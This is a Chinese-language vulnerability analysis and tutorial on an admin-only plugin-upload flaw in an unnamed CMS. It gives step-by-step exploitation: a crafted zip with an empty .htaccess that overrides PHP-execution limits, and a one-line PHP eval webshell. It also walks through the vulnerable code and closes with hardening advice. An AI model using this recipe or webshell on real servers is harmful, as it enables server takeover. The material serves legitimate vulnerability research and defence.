某cms后台文件上传
字数 1007 2025-08-29 08:31:35
CMS后台文件上传漏洞分析与利用教学文档
漏洞概述
本漏洞存在于某CMS的后台插件上传功能中,通过精心构造的插件压缩包,攻击者可以实现任意文件上传,最终获取服务器权限。该漏洞需要后台管理员权限,但不需要在前台界面中找到对应的功能点,可直接通过URL访问。
漏洞利用步骤
1. 访问插件上传接口
虽然后台界面中没有直接显示插件上传功能,但可以通过直接访问以下控制器路径:
/application/admin/controller/Weapp.php
2. 构造恶意插件压缩包
创建一个名为weapp.zip的压缩包,内部结构如下:
weapp/
├── AAAAAAA/ # 自定义插件目录
│ ├── config.php # 插件配置文件
│ └── ssss.php # 恶意PHP文件(webshell)
└── .htaccess # 空文件,用于覆盖原限制
关键文件说明:
-
config.php
必须与/data/weapp/Sample/weapp/Sample/config.php格式保持一致,示例内容:<?php return array( 'name' => '测试插件', 'code' => 'test', 'version' => '1.0', 'author' => 'test', 'description' => '测试插件', ); -
.htaccess
必须为空文件,用于覆盖原有的访问限制文件 -
ssss.php
可以是任意PHP webshell,例如:<?php @eval($_POST['cmd']); ?>
3. 上传插件
通过抓包工具或直接访问上传接口提交构造的zip文件。
4. 访问webshell
上传成功后,文件会被解压到网站根目录的weapp文件夹中,可直接访问:
http://target.com/weapp/AAAAAAA/ssss.php
漏洞原理分析
关键代码流程
-
上传验证部分:
$fileExt = 'zip'; // 只允许zip格式 $savePath = UPLOAD_PATH.'tmp'.DS; // 临时保存路径 $file = request()->file('weappfile'); // 获取上传文件 -
解压处理:
$zip = new \ZipArchive(); $zip->open($savePath.$fileName); $zip->extractTo($savePath.$folderName.DS); $zip->close(); -
目录验证:
$dirList = glob($savePath.$folderName.DS.WEAPP_DIR_NAME.DS.'*'); // WEAPP_DIR_NAME常量为'weapp',因此压缩包内必须包含weapp目录 -
配置文件验证:
$configfile = $savePath.$folderName.DS.WEAPP_DIR_NAME.DS.$weappName.'/config.php'; // 必须存在config.php文件且内容为数组 -
配置内容验证:
$sampleConfig = include(DATA_NAME.DS.'weapp'.DS.'Sample'.DS.'weapp'.DS.'Sample'.DS.'config.php'); foreach ($configdata as $key => $val) { if ('permission' != $key && !isset($sampleConfig[$key])) { // 键名必须与样本配置一致 } } -
文件复制:
recurse_copy($savePath.$folderName, rtrim(ROOT_PATH, DS)); // 将临时文件复制到网站根目录
安全限制绕过
-
.htaccess覆盖:
- 原
weapp目录下有.htaccess限制PHP执行 - 上传空
.htaccess文件覆盖原限制
- 原
-
目录结构绕过:
- 必须包含
weapp目录 - 可以在
weapp目录下创建任意子目录存放恶意文件
- 必须包含
-
配置验证绕过:
- 配置文件格式必须与样本一致
- 但只验证键名不验证值,因此可以保持结构不变
防御建议
-
权限控制:
- 加强后台权限验证,不仅仅是角色ID为-1
- 增加CSRF防护
-
文件上传限制:
- 限制压缩包内文件类型,禁止上传.php文件
- 对解压后的文件进行严格白名单验证
-
目录权限:
- 设置
weapp目录不可写 - 或对上传目录设置严格的权限
- 设置
-
配置验证:
- 不仅验证键名,还应验证键值的合法性
- 增加文件内容黑名单检测
-
日志监控:
- 记录所有插件上传操作
- 监控异常文件创建行为
总结
该漏洞利用CMS后台插件上传功能的多处设计缺陷:
- 前端隐藏但后端存在的功能接口
- 不严格的配置文件验证
- 解压后文件的不安全复制操作
- 关键目录的权限设置不当
通过精心构造的压缩包,攻击者可绕过所有安全限制实现任意文件上传,最终获取服务器控制权限。